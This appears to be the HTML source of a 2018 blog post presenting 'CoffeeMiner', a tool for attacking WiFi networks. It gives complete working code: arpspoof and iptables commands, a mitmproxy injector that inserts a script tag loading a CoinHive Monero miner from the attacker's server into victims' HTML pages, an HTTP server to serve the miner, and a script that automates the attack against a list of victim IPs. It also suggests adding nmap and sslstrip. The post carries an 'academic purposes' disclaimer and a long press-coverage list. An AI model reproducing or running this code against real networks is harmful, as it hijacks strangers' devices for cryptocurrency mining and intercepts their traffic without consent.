arnaucube
arnaucube/arnaucube.comPublic Self-hosted repository
arnaucube.com/public/coffeeminer-hacking-wifi-cryptocurrency-miner.html
public/coffeeminer-hacking-wifi-cryptocurrency-miner.htmlRaw
  1<!DOCTYPE html>
  2<html lang="en">
  3
  4  <head>
  5    <meta name="description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker." />
  6    <meta charset="utf-8">
  7    <title> CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog</title>
  8    <meta name="title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog">
  9    <meta name="description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.">
 10
 11    <meta property="og:title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog" />
 12    <meta property="og:description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker." />
 13    <meta property="og:url" content="https://arnaucube.com/blog/coffeeminer-hacking-wifi-cryptocurrency-miner.html" />
 14    <meta property="og:type" content="article" />
 15    <meta property="og:image" content="https://arnaucube.com/blog/img/posts/coffeeMiner/coffeeMiner-network-attack.png" />
 16    <meta name="twitter:title" content=" CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests - arnaucube - blog">
 17    <meta name="twitter:description" content="The goal of this post, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the machines connected to a WiFi network to be mining a cryptocurrency for the attacker.">
 18    <meta name="twitter:image" content="https://arnaucube.com/blog/img/posts/coffeeMiner/coffeeMiner-network-attack.png">
 19    <meta name="twitter:card" content="summary_large_image">
 20    <meta name="author" content="arnaucube">
 21
 22    <link rel="icon" type="image/png" href="img/logoArnauCubeFavicon.png">
 23
 24    <meta name="viewport" content="width=device-width, initial-scale=1">
 25
 26    <link href="css/bootstrap.min.css" rel="stylesheet">
 27    <link rel="stylesheet" href="css/style.css">
 28
 29    <!-- highlightjs -->
 30    <!-- <link rel="stylesheet" href="js/highlightjs/atom-one-dark.css"> -->
 31    <link rel="stylesheet" href="js/highlightjs/atom-one-light.css">
 32    <!-- <link rel="stylesheet" href="js/highlightjs/gruvbox-dark.css"> -->
 33    <script src="js/highlightjs/highlight.pack.js"></script>
 34
 35    <!-- katex -->
 36    <link rel="stylesheet" href="js/katex/katex.min.css">
 37  </head>
 38
 39  <body>
 40
 41    <!-- o_gradient_background" -->
 42    <nav id="mainNav" class="navbar navbar-default navbar-fixed-top"
 43                      style="height:50px;font-size:130%;">
 44      <div class="container">
 45        <div style="float:left;">
 46        <a href="/blog" style="color:#000;display:inline-block;">Blog index</a>
 47        <span style="margin-right:20px; margin-left:20px;">|</span>
 48        <a href="/blog/notes.html" style="font-size:90%;color:#000;display:inline-block;">other-notes</a>
 49        </div>
 50        <div style="float:right;">
 51          <a href="/" style="color:#000;display:inline-block;">arnaucube.com</a>
 52          <div class="onoffswitch" style="margin:10px;display:inline-block;" title="change theme">
 53            <input onclick="switchTheme()" type="checkbox" name="onoffswitch" class="onoffswitch-checkbox"
 54              id="themeSwitcher">
 55            <label class="onoffswitch-label" for="themeSwitcher"></label>
 56          </div>
 57        </div>
 58      </div>
 59      <img style="height:5px; width:100%; margin-top:8px;" src="img/gradient-line.jpg" />
 60    </nav>
 61
 62
 63
 64    <div class="container" style="margin-top:40px;max-width:800px;">
 65      <h1>CoffeeMiner: Hacking WiFi to inject cryptocurrency miner to HTML requests</h1>
 66
 67<p><em>2018-01-04</em></p>
 68
 69<p><strong><em>Disclamer: this article &amp; project is for academic purposes only.</em></strong></p>
 70
 71<p>Some weeks ago I read about <a href="https://motherboard.vice.com/en_us/article/gyd5xq/starbucks-wi-fi-hijacked-peoples-laptops-to-mine-cryptocurrency-coinhive">this Starbucks case</a> where hackers hijacked laptops on the WiFi network to use the devices computing power to mine cryptocurrency, and I thought it might be interesting perform the attack in a different way.</p>
 72
 73<p>The goal of this article, is to explain how can be done the attack of MITM (Machine-In-The-Middle) to inject some javascript in the html pages, to force all the devices connected to a WiFi network to be mining a cryptocurrency for the attacker.</p>
 74
 75<p><img src="img/posts/coffeeMiner/coffeeMiner-logo-small.png" alt="coffeeMiner" title="coffeeMiner" /></p>
 76
 77<p>The objective is to have a script that performs autonomous attack on the WiFi network. It&rsquo;s what we have called <strong>CoffeeMiner</strong>, as it&rsquo;s a kind of attack that can be performed in the cafes WiFi networks.</p>
 78
 79<h2>1. The Scenario</h2>
 80
 81<p>The scenario will be some machines connected to the WiFi network, and the CoffeeMiner attacker intercepting the traffic between the users and the router.</p>
 82
 83<p><img src="img/posts/coffeeMiner/coffeeMiner-network-attack.png" alt="network" title="network" /></p>
 84
 85<h3>1.1 Scenario configuration</h3>
 86
 87<p>The real scenario is a WiFi with laptops and smartphones connected. We have tested in this real world scenario, and it works. But for this article, we will see more deeply how to set up in a virtual environment.</p>
 88
 89<p>We will use VirtualBox to deploy our virtual scenario <a href="https://www.virtualbox.org/">https://www.virtualbox.org/</a> .</p>
 90
 91<p>First of all we need to download some Linux disk image and install it into a VirtualBox machine, for this example we will use Kali Linux images <a href="https://www.kali.org/">https://www.kali.org/</a></p>
 92
 93<p>Once we have the ISO image downloaded, we prepare 3 VBox machines with the Linux image installed.</p>
 94
 95<p>To configure the defined scenario we need to prepare the machines each one with a role:</p>
 96
 97<ul>
 98<li>Victim
 99
100<ul>
101<li>will be the machine that connects to the Router and browse some pages.</li>
102</ul></li>
103<li>Attacker
104
105<ul>
106<li>will be the machine where it runs the CoffeeMiner. Is the machine that performs the MITM.</li>
107</ul></li>
108<li>Router / Gateway
109
110<ul>
111<li>will act as a normal gateway.</li>
112</ul></li>
113</ul>
114
115<p><img src="img/posts/coffeeMiner/scenario01.png" alt="network" title="network" /></p>
116
117<p>Once the attack is performed, the scenario will be:</p>
118
119<p><img src="img/posts/coffeeMiner/scenario02.png" alt="network" title="network" /></p>
120
121<p>To configure each one of the machines, we will do the following configuration:</p>
122
123<ul>
124<li>Victim
125
126<ul>
127<li>network adapter:
128
129<ul>
130<li>eth0: Host-only Adapter</li>
131</ul></li>
132<li>/etc/network/interfaces:</li>
133</ul></li>
134</ul>
135
136<pre><code class="language-bash">auto lo
137iface lo inet loopback
138
139auto eth0
140iface eth0 inet static
141    address 10.0.2.10
142    netmask 255.255.255.0
143    gateway 10.0.2.15
144</code></pre>
145
146<ul>
147<li>Attacker
148
149<ul>
150<li>network adapter:
151
152<ul>
153<li>eth0: Host-only Adapter</li>
154</ul></li>
155<li>/etc/network/interfaces:</li>
156</ul></li>
157</ul>
158
159<pre><code class="language-bash">auto lo
160iface lo inet loopback
161
162auto eth0
163iface eth0 inet static
164    address 10.0.2.20
165    netmask 255.255.255.0
166    gateway 10.0.2.15
167</code></pre>
168
169<ul>
170<li>Router / Gateway
171
172<ul>
173<li>network adapter:
174
175<ul>
176<li>eth0: Bridged Adapter</li>
177<li>eth1: Host-only Adapter</li>
178</ul></li>
179<li>/etc/network/interfaces:</li>
180</ul></li>
181</ul>
182
183<pre><code class="language-bash">auto lo
184iface lo inet loopback
185
186auto eth0
187iface eth0 inet dhcp
188
189auto eth1
190iface eth1 inet static
191    address 10.0.2.15
192    netmask 255.255.255.0
193</code></pre>
194
195<h2>2. CoffeeMiner, understanding the code</h2>
196
197<h3>2.1 ARPspoofing</h3>
198
199<p>First of all, we need to understand how the MITM attack is performed.</p>
200
201<p>From wikipedia:</p>
202
203<p><em>&ldquo;In computer networking, ARP spoofing, ARP cache poisoning, or ARP poison routing, is a technique by which an attacker sends (spoofed) Address Resolution Protocol (ARP) messages onto a local area network. Generally, the aim is to associate the attacker&rsquo;s MAC address with the IP address of another host, such as the default gateway, causing any traffic meant for that IP address to be sent to the attacker instead.&rdquo;</em></p>
204
205<p><a href="https://en.wikipedia.org/wiki/ARP_spoofing">https://en.wikipedia.org/wiki/ARP_spoofing</a></p>
206
207<p>To perform the ARPspoofing attack, we will use the <strong>dsniff</strong> library.</p>
208
209<pre><code class="language-bash">arpspoof -i interface -t ipVictim ipGateway
210arpspoof -i interface -t ipGateway ipVictim
211</code></pre>
212
213<h3>2.2 mitmproxy</h3>
214
215<p><a href="https://mitmproxy.org/">mitmproxy</a> is a software tool that allows us to analyze the traffic that goes through a host, and allows to edit that traffic. In our case, we will use it to inject the javascript into the html pages.</p>
216
217<p>To make the process more more clean, we will only inject one line of code into the html pages. And will be that line of html code that will call to the javascript cryptocurrency miner.</p>
218
219<p>The line to inject the crypto miner is:</p>
220
221<pre><code class="language-html">&lt;script src=&quot;http://httpserverIP:8000/script.js&quot;&gt;&lt;/script&gt;
222</code></pre>
223
224<h3>2.3 Injector</h3>
225
226<p>Once we have the victim&rsquo;s traffic intercepted, we need to inject our script on it. We will use the mitmproxy API to do the injector:</p>
227
228<pre><code class="language-python">from bs4 import BeautifulSoup
229from mitmproxy import ctx, http
230import argparse
231
232class Injector:
233    def __init__(self, path):
234        self.path = path
235
236    def response(self, flow: http.HTTPFlow) -&gt; None:
237        if self.path:
238            html = BeautifulSoup(flow.response.content, &quot;html.parser&quot;)
239            print(self.path)
240            print(flow.response.headers[&quot;content-type&quot;])
241            if flow.response.headers[&quot;content-type&quot;] == 'text/html':
242                script = html.new_tag(
243                    &quot;script&quot;,
244                    src=self.path,
245                    type='application/javascript')
246                html.body.insert(0, script)
247                flow.response.content = str(html).encode(&quot;utf8&quot;)
248                print(&quot;Script injected.&quot;)
249
250def start():
251    parser = argparse.ArgumentParser()
252    parser.add_argument(&quot;path&quot;, type=str)
253    args = parser.parse_args()
254    return Injector(args.path)
255
256</code></pre>
257
258<h3>2.4 HTTP Server</h3>
259
260<p>As we have seen, the injector adds a line to the html, with a call to our javascript crypto miner. So, we need to have the script file deployed in a HTTP Server.</p>
261
262<p>In order to serve the javascript cryptocurrency miner, we will deploy a HTTP Server in the attacker machine. To do that, we will use the Python library &lsquo;http.server&rsquo;:</p>
263
264<pre><code class="language-python">#!/usr/bin/env python
265import http.server
266import socketserver
267import os
268
269PORT = 8000
270
271web_dir = os.path.join(os.path.dirname(__file__), 'miner_script')
272os.chdir(web_dir)
273
274Handler = http.server.SimpleHTTPRequestHandler
275httpd = socketserver.TCPServer((&quot;&quot;, PORT), Handler)
276print(&quot;serving at port&quot;, PORT)
277httpd.serve_forever()
278</code></pre>
279
280<p>The code above is a simple HTTP Server that will serve our crypto miner to the victims, when they require it.</p>
281
282<p>The javascript miner, will be placed in the /miner_script directory. In our case, we have used the <a href="https://coinhive.com/">CoinHive</a> javascript miner.</p>
283
284<h3>2.5 CoinHive crypto miner</h3>
285
286<p><a href="https://coinhive.com/">CoinHive</a> is a javascript miner for the <a href="https://coinmarketcap.com/es/currencies/monero/">Monero cryptocurrency</a> (XMR). It can be added to a website, and will use the user CPU power to calculate hashes with the Cryptonight PoW hash algorithm to mine Monero, based on <a href="https://cryptonote.org/">CryptoNote</a> protocol.</p>
287
288<p>CoinHive miner makes sense when user stays in a website for mid-long term sessions. So, for example, for a website where the users average session is arround 40 seconds, it doesn&rsquo;t make much sense.</p>
289
290<p>In our case, as we will inject the crypto miner in each one of the HTML pages that victims request, will have long term sessions to calculate hashes to mine Monero.</p>
291
292<p><img src="img/posts/coffeeMiner/coinhive-monero-logo.jpg" alt="CoinHive logo" title="CoinHive logo" /></p>
293
294<h2>3. CoffeeMiner, puting all together</h2>
295
296<p>The main objective is to tie all the previous concepts in one autonomous deployment. This will be the CoffeeMiner.</p>
297
298<p>The idea is to have the CoffeeMiner script that performs the ARPspoofing attack and set ups the mitmproxy to inject the CoinHive cryptominer into victims HTML pages.</p>
299
300<p>First of all, we need to configure the ip_forwarding and IPTABLES, in order to convert the attacker&rsquo;s machine into a proxy:</p>
301
302<pre><code class="language-bash">echo 1 &gt; /proc/sys/net/ipv4/ip_forward
303iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
304iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
305</code></pre>
306
307<p>To perform the ARPspoof for all the victims, we will prepare a &lsquo;victims.txt&rsquo; file with all the victim&rsquo;s IP.
308To read all the victims IPs, we prepare some Python lines, that will get the IPs (and also the gateway IP from the command line args), and performs the ARPspoof for each one of the victim&rsquo;s IP.</p>
309
310<pre><code class="language-python"># get gateway_ip
311gateway = sys.argv[1]
312print(&quot;gateway: &quot; + gateway)
313# get victims_ip
314victims = [line.rstrip('\n') for line in open(&quot;victims.txt&quot;)]
315print(&quot;victims:&quot;)
316print(victims)
317
318# run the arpspoof for each victim, each one in a new console
319for victim in victims:
320    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + victim + &quot; &quot; + gateway + &quot; &amp;&quot;)
321    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + gateway + &quot; &quot; + victim + &quot; &amp;&quot;)
322</code></pre>
323
324<p>Once we have the ARPspoofing performed, we just need to run the HTTP Server:</p>
325
326<pre><code class="language-bash">&gt; python3 httpServer.py
327</code></pre>
328
329<p>And now, we can run the mitmproxy with the injector.py:</p>
330
331<pre><code class="language-bash">&gt; mitmdump -s 'injector.py http://httpserverIP:8000/script.js'
332</code></pre>
333
334<h2>3.1 CoffeeMiner, final script</h2>
335
336<p>Now we put all the concepts explained above in the &lsquo;coffeeMiner.py&rsquo; script:</p>
337
338<pre><code class="language-python">import os
339import sys
340
341#get gateway_ip (router)
342gateway = sys.argv[1]
343print(&quot;gateway: &quot; + gateway)
344# get victims_ip
345victims = [line.rstrip('\n') for line in open(&quot;victims.txt&quot;)]
346print(&quot;victims:&quot;)
347print(victims)
348
349# configure routing (IPTABLES)
350os.system(&quot;echo 1 &gt; /proc/sys/net/ipv4/ip_forward&quot;)
351os.system(&quot;iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&quot;)
352os.system(&quot;iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080&quot;)
353os.system(&quot;iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080&quot;)
354
355
356# run the arpspoof for each victim, each one in a new console
357for victim in victims:
358    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + victim + &quot; &quot; + gateway + &quot; &amp;&quot;)
359    os.system(&quot;xterm -e arpspoof -i eth0 -t &quot; + gateway + &quot; &quot; + victim + &quot; &amp;&quot;)
360
361# start the http server for serving the script.js, in a new console
362os.system(&quot;xterm -hold -e 'python3 httpServer.py' &amp;&quot;)
363
364# start the mitmproxy
365os.system(&quot;~/.local/bin/mitmdump -s 'injector.py http://10.0.2.20:8000/script.js' -T&quot;)
366</code></pre>
367
368<p>And also in the &lsquo;injector.py&rsquo; script:</p>
369
370<pre><code class="language-python">from bs4 import BeautifulSoup
371from mitmproxy import ctx, http
372import argparse
373
374class Injector:
375    def __init__(self, path):
376        self.path = path
377
378    def response(self, flow: http.HTTPFlow) -&gt; None:
379        if self.path:
380            html = BeautifulSoup(flow.response.content, &quot;html.parser&quot;)
381            print(self.path)
382            print(flow.response.headers[&quot;content-type&quot;])
383            if flow.response.headers[&quot;content-type&quot;] == 'text/html':
384                print(flow.response.headers[&quot;content-type&quot;])
385                script = html.new_tag(
386                    &quot;script&quot;,
387                    src=self.path,
388                    type='application/javascript')
389                html.body.insert(0, script)
390                flow.response.content = str(html).encode(&quot;utf8&quot;)
391                print(&quot;Script injected.&quot;)
392
393def start():
394    parser = argparse.ArgumentParser()
395    parser.add_argument(&quot;path&quot;, type=str)
396    args = parser.parse_args()
397    return Injector(args.path)
398</code></pre>
399
400<p>And to execute, we just need to do:</p>
401
402<pre><code class="language-bash">&gt; python3 coffeeMiner.py RouterIP
403</code></pre>
404
405<h2>4. Demo</h2>
406
407<p>In order to do the demo, we set up the VirtualBox scenario explained above.</p>
408
409<p>If we want to perform the attack manually, we will need the following terminals:</p>
410
411<p><img src="img/posts/coffeeMiner/demo01.png" alt="demo" title="demo" /></p>
412
413<p>Then, once the ARPspoofing attack is done and the injector and the HTTP Server are ready, we can go to the victim&rsquo;s machine and browse to a website. The victim&rsquo;s traffic will go through the attacker machine, and will activate the injector:</p>
414
415<p><img src="img/posts/coffeeMiner/demo02.png" alt="demo" title="demo" /></p>
416
417<p>As a result, the html pages that the victim is viewing, will have the html lines of code that the attacker has been injected.</p>
418
419<p><img src="img/posts/coffeeMiner/coffeeMiner-demo-cutted.gif" alt="demo" title="demo" /></p>
420
421<h4>4.1 Demo video</h4>
422
423<p>In the following video, we can see the complete attack in the scenario, using the coffeeMiner.py script:</p>
424
425<ul>
426<li>VirtualBox demo:</li>
427</ul>
428
429<p><a href="https://www.youtube.com/watch?v=wmYJ6Z4LoCA"><img src="img/posts/coffeeMiner/demo-video.png" alt="video demo" /></a></p>
430
431<ul>
432<li>Real world WiFi network and laptops demo:</li>
433</ul>
434
435<p><a href="https://www.youtube.com/watch?v=-TnzGLUD0DU"><img src="img/posts/coffeeMiner/demo-realWiFi-video.png" alt="video demo" /></a></p>
436
437<h2>Conclusion</h2>
438
439<p>As we have seen, the attack can be easily performed, and also can be deployed to be an autonomous attack in a WiFi network.</p>
440
441<p>Another thing to have in mind, is that for a real world WiFi network, is better to perform the process with a powerful WiFi antenna, to reach better all the physical zone.</p>
442
443<p>Tha main objective was to perform the autonomous attack, but we still need to edit the victims.txt file with the IP addresses of the victims devices. For a further version, a possible feature could be adding an autonomous <a href="https://nmap.org/">Nmap</a> scan, to add the IPs detected to the CoffeeMiner victims list. Another further feature, could be adding <a href="https://moxie.org/software/sslstrip/">sslstrip</a>, to make sure the injection also in the websites that the user can request over HTTPS.</p>
444
445<p>The complete code is available in the github repo: <a href="https://github.com/arnaucube/coffeeMiner">https://github.com/arnaucube/coffeeMiner</a></p>
446
447<hr>
448
449<p><strong><em>Disclamer: this article &amp; project is for academic purposes only.</em></strong></p>
450
451<hr>
452
453<p><em>tags: python, cryptocurrency, miner, blockchain, mitm, wifi, javascript, hacking, html, cryptominer, python3</em></p>
454
455<hr>
456
457<h1>References in the press about this article</h1>
458
459<ul>
460<li><p>English</p>
461
462<ul>
463<li><a href="https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/">https://www.theregister.co.uk/2018/01/05/wi_fi_crypto_mining/</a></li>
464<li><a href="http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html">http://securityaffairs.co/wordpress/67438/hacking/coffeeminer-hacking-wifi-cryptocurrency.html</a></li>
465<li><a href="https://gbhackers.com/coffeeminer-hacking-wifi/">https://gbhackers.com/coffeeminer-hacking-wifi/</a></li>
466<li><a href="https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/">https://www.privateinternetaccess.com/blog/2018/01/stop-coffeeminer-tool-injects-cryptocurrency-miner-html-requests-wifi-hotspots/</a></li>
467<li><a href="http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://www.zdnet.com/article/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
468<li><a href="https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/">https://sensorstechforum.com/coffeeminer-malware-virus-detect-remove/</a></li>
469<li><a href="http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/">http://turningtrend.com/how-to-hack-public-wi-fi-to-mine-for-cryptocurrency/</a></li>
470<li><a href="https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency">https://www.theissue.com/technology/coffeeminer-demonstrates-how-hijackers-can-use-public-wi-fi-networks-to-mine-cryptocurrency</a></li>
471<li><a href="https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&amp;utm_medium=Sociallymap&amp;utm_campaign=Sociallymap">https://koddos.net/blog/hackers-use-coffeeminer-hijack-public-wifi-hotspots-mine-cryptocurrency/?utm_source=Sociallymap&amp;utm_medium=Sociallymap&amp;utm_campaign=Sociallymap</a></li>
472<li><a href="http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html">http://nymag.com/selectall/2018/01/coffeeminer-allows-hackers-to-mine-bitcoin-on-public-wi-fi.html</a></li>
473<li><a href="https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5">https://medium.com/computerist/beware-coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins-1915624c2ea5</a></li>
474<li><a href="https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/">https://resiliencepost.com/2018/01/12/coffeeminer-forces-coffee-shop-visitors-to-mine-for-monero/</a></li>
475<li><a href="https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/">https://fossbytes.com/coffeeminer-attack-wifi-attack-cryptomining/</a></li>
476<li><a href="https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/">https://securityboulevard.com/2018/01/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency/</a></li>
477<li><a href="https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/">https://latesthackingnews.com/2018/01/07/hacking-wireless-networks-use-coffeeminer-inject-cryptocurrency-miners/</a></li>
478<li><a href="https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/">https://nakedsecurity.sophos.com/2018/01/09/coffeeminer-project-lets-you-hack-public-wi-fi-to-mine-cryptocoins/</a></li>
479<li><a href="https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html">https://hotforsecurity.bitdefender.com/blog/coffeeminer-poc-targets-public-wi-fi-networks-to-mine-for-cryptocurrency-19414.html</a></li>
480<li><a href="https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/">https://www.helpnetsecurity.com/2018/01/08/public-wifi-cryptocurrency-mining/</a></li>
481<li><a href="https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/">https://www.infosecurity-magazine.com/news/coffeeminer-mine-for-monero/</a></li>
482<li><a href="http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320">http://www.ibtimes.co.uk/what-coffeeminer-new-attack-lets-hackers-hijack-public-wifi-networks-mine-cryptocurrency-1654320</a></li>
483</ul></li>
484
485<li><p>Spanish</p>
486
487<ul>
488<li><a href="http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html">http://www.elladodelmal.com/2018/01/coffeeminer-te-tomas-tu-cafe-te.html</a></li>
489<li><a href="https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/">https://blogs.protegerse.com/2018/01/10/coffeeminer-minando-criptodivisas-sin-autorizacion-usando-la-wifi-como-vector-de-ataque/</a></li>
490<li><a href="http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://noticiasseguridad.com/seguridad-informatica/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
491<li><a href="https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">https://www.redeszone.net/2018/01/06/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
492<li><a href="https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/">https://terabytezone.com/coffeeminer-minado-criptomonedas-redes-wifi/</a></li>
493<li><a href="http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/">http://www.nexusmovil.com/coffeeminer-un-script-que-automatiza-la-inyeccion-de-codigo-para-minar-criptomoneda-en-redes-wi-fi/</a></li>
494<li><a href="https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/">https://www.coincrispy.com/2018/01/10/coffeeminer-ataque-mineria-criptomonedas/</a></li>
495<li><a href="https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/">https://www.criptonoticias.com/seguridad/coffeeminer-secuestra-redes-publicas-wi-fi-para-minar-criptomonedas/</a></li>
496</ul></li>
497
498<li><p>Russian</p>
499
500<ul>
501<li><a href="https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/">https://forklog.com/ispanskij-issledovatel-razrabotal-majner-dlya-publichnyh-wi-fi-setej/</a></li>
502<li><a href="https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty">https://coinsider.com/p/news/2542-coffeeminer-novaya-programma-dlya-skrytogo-majninga-kriptovalyuty</a></li>
503<li><a href="https://xakep.ru/2018/01/10/coffeeminer/">https://xakep.ru/2018/01/10/coffeeminer/</a></li>
504</ul></li>
505
506<li><p>Italian</p>
507
508<ul>
509<li><a href="http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute">http://cybersecurity.startupitalia.eu/56384-20180108-coffeeminer-hackerare-le-reti-wifi-produrre-criptovalute</a></li>
510</ul></li>
511
512<li><p>Bulgarian</p>
513
514<ul>
515<li><a href="https://questona.com/coffeeminer-wifi/">https://questona.com/coffeeminer-wifi/</a></li>
516</ul></li>
517
518<li><p>Greek</p>
519
520<ul>
521<li><a href="https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/">https://www.youbrandinc.com/crytocurrency/%CF%80%CE%B1%CF%81%CE%B1%CE%B2%CE%B9%CE%AC%CF%83%CF%84%CE%B5-%CF%84%CE%BF-free-wi-fi-%CF%84%CE%B7%CF%82-%CE%B3%CE%B5%CE%B9%CF%84%CE%BF%CE%BD%CE%B9%CE%AC%CF%82-%CF%83%CE%B1%CF%82-%CE%B3%CE%B9%CE%B1-mon/</a></li>
522</ul></li>
523
524<li><p>Turkish</p>
525
526<ul>
527<li><a href="http://blog.cyberage.com.tr/2018/01/10/coffeeminer/">http://blog.cyberage.com.tr/2018/01/10/coffeeminer/</a></li>
528</ul></li>
529
530<li><p>Dutch</p>
531
532<ul>
533<li><a href="https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/">https://www.smartbiz.be/nieuws/173781/hoe-een-publiek-wifi-netwerk-kan-worden-gehackt-om-cryptomunten-te-minen/</a></li>
534</ul></li>
535
536<li><p>Chinese</p>
537
538<ul>
539<li><a href="http://www.4hou.com/wireless/9773.html">http://www.4hou.com/wireless/9773.html</a></li>
540<li><a href="https://www.ithome.com.tw/news/120449">https://www.ithome.com.tw/news/120449</a></li>
541</ul></li>
542</ul>
543
544<h4>Destacated tweets</h4>
545
546<ul>
547<li>@defcon <a href="https://twitter.com/defcon/status/949679959509012480">https://twitter.com/defcon/status/949679959509012480</a></li>
548<li>@x0rz <a href="https://twitter.com/x0rz/status/948865836609130496">https://twitter.com/x0rz/status/948865836609130496</a></li>
549<li>@avast_antivirus <a href="https://twitter.com/avast_antivirus/status/951835917815308288">https://twitter.com/avast_antivirus/status/951835917815308288</a></li>
550<li>@fullstackpython <a href="https://twitter.com/fullstackpython/status/949707681543213057">https://twitter.com/fullstackpython/status/949707681543213057</a></li>
551<li>@alienvault <a href="https://twitter.com/alienvault/status/950449599872929792">https://twitter.com/alienvault/status/950449599872929792</a></li>
552<li>@binitamshah <a href="https://twitter.com/binitamshah/status/951520444900818945">https://twitter.com/binitamshah/status/951520444900818945</a></li>
553<li>@_odisseus <a href="https://twitter.com/_odisseus/status/951052521967144960">https://twitter.com/_odisseus/status/951052521967144960</a></li>
554</ul>
555
556<p><img src="img/posts/coffeeMiner/tweets_small.png" alt="tweets" title="tweets" /></p>
557
558    </div>
559
560    <footer style="text-align:center; margin-top:100px;margin-bottom:50px;">
561      <div class="container">
562        <br>
563        <a href="/blog">Go to main</a>
564        <br><br>
565        <div class="row">
566          <ul class="list-inline">
567            <li><a href="https://twitter.com/arnaucube"
568                   style="color:gray;text-decoration:none;"
569                   target="_blank">twitter.com/arnaucube</a>
570            </li>
571            <li><a href="https://github.com/arnaucube"
572                   style="color:gray;text-decoration:none;"
573                   target="_blank">github.com/arnaucube</a>
574            </li>
575          </ul>
576        </div>
577        <div class="row" style="display:inline-block;">
578          Blog made with <a href="http://github.com/arnaucube/blogo/"
579                            target="_blank" style="color: gray;text-decoration:none;">Blogo</a>
580        </div>
581      </div>
582    </footer>
583
584    <script>
585    </script>
586    <script src="js/external-links.js"></script>
587    <script>hljs.initHighlightingOnLoad();</script>
